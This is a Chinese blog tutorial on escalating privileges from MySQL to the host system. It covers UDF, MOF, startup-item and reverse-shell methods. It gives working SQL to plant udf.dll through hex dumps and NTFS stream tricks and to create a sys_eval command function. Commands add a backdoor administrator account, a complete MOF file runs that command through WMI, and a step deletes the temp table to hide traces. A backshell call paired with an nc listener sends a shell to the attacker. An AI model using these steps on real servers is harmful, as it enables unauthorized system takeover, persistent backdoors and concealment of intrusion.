MySQL数据库提权

提权方式

  • udf提权
  • mof提权
  • 启动项提权
  • 反弹shell提权

udf提权

User Defined Functions,简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。 简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。 我们需要将udf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路径可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中。

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32, 在windows2000下放置于c:\winnt\system32。 如果目录不存在则利用NTFS数据流创建文件目录:

select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; #利用NTFS ADS创建lib目录 
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; #利用NTFS ADS创建plugin目录

提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句

2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件

3)对方mysql是root权限

验证是否可写:show global variables like 'secure%';

secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限。如果secure_file_priv值为空则可写,为指定路径则是指定路径可写,需要全部可写需要在mysql.ini配置文件添加语句即可。

操作过程

1.得到插件库路径:show variables like "%plugin%";

2.找对应操作系统的udf库文件:Windows直接上传,Linux的sqlmap自带。对于Linux系统,先用uname -a查看操作系统位数,再查看动态库路径/pentest/database/sqlmap/udf/mysql/linux/64(假设64位系统),文件名是lib_mysqludf_sys.so

3.放入文件:

create table temp(data longblob); #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); #将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll"; #将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll'; #创建自定义函数sys_eval

注意,Linux系统可能要加读写权限:chmod 777 /usr/lib/mysql/plugin

查看udf库支持的函数(Linux):nm -D /usr/lib/mysql/plugin/mysqludf.so

4.验证提权是否成功:select sys_eval('命令')

提权常用SQL语句

select cmdshell(‘net user hsy 123456 /add’); #添加用户
select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组
drop function sys_eval; #删除函数
DROP TABLE data; #为了删除痕迹,把刚刚新建的data表删掉

mof提权

利用了C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件

利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行。

提权条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003
  2. C:\Windows\System32\wbem\MOF目录有读写权限。
  3. 可以找到一个可写目录,写入mof文件。

操作过程

  1. 在可写目录中上传mof文件,例如把mof文件上传到C:/wmpub/nullevt.mof
  2. 把这个文件复制到C:/Windows/System32/wbem/MOF/nullevt.mof目录下:
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

3.将下面这段代码复制到mof后缀的文件中:

# pragma namespace("\.\root\subscription")

instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new

ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

把这个mof文件上传到目标机中,可以修改代码,进行命令执行。

目前mof提权方法用的比较少,建议使用udf脚本进行MySQL数据库提权。

启动项提权

利用MySQL,将后门写入开机启动项。同时因为是开机自启动,在写入之后,需要重启目标服务器,才可以运行。

反弹shell提权

mysql创建反弹函数:select backshell(’发送到的ip地址’,’端口’),kali使用nc监听本地(攻击机)IP:nc -l(本地)-p 端口

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

感谢大家的耐心阅读,如有疑问,敬请在评论区留言!本文为明赫IT大本营的原创文章,经实践,测试,整理后发布。如需转载请联系作者获得授权,并注明转载地址。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇